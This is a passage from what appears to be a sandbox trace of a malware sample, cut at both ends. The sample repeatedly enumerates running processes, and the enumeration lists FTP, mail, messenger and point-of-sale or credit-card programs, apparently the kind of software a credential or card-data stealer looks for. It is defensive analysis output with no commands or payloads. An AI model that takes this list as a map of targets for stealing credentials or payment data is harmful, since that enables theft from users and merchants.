th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0245.100] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0245.102] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0245.105] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0245.107] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0245.109] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0245.111] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0245.113] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0245.117] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0245.120] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0245.122] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0245.124] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0245.127] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0245.129] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0245.131] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0245.135] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0245.138] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0245.140] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0245.143] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0245.146] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0245.148] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0245.150] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0245.155] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0245.160] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0245.162] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0245.165] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0245.169] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0245.172] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0245.221] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0245.224] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0245.227] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0245.230] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0245.233] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0245.237] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0245.239] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0245.242] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0245.245] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0245.248] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0245.251] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0245.254] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0245.257] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0245.259] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0245.262] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0245.265] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0245.268] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0245.270] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0245.273] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0245.276] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0245.278] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0245.281] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0245.284] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0245.287] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0245.289] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0245.292] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0245.305] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0245.310] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0245.312] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0245.314] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0245.318] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0245.320] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0245.323] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0245.325] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0245.328] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0245.331] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0245.334] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0245.368] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0245.372] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0245.374] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0245.376] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0245.378] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0245.380] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0245.382] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0245.385] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0245.387] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0245.390] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0245.392] CloseHandle (hObject=0x21ec) returned 1 [0245.392] Sleep (dwMilliseconds=0x64) [0245.395] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21ec [0245.410] Process32First (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0245.412] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0245.414] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0245.417] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0245.419] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0245.421] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0245.423] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0245.426] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0245.428] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, 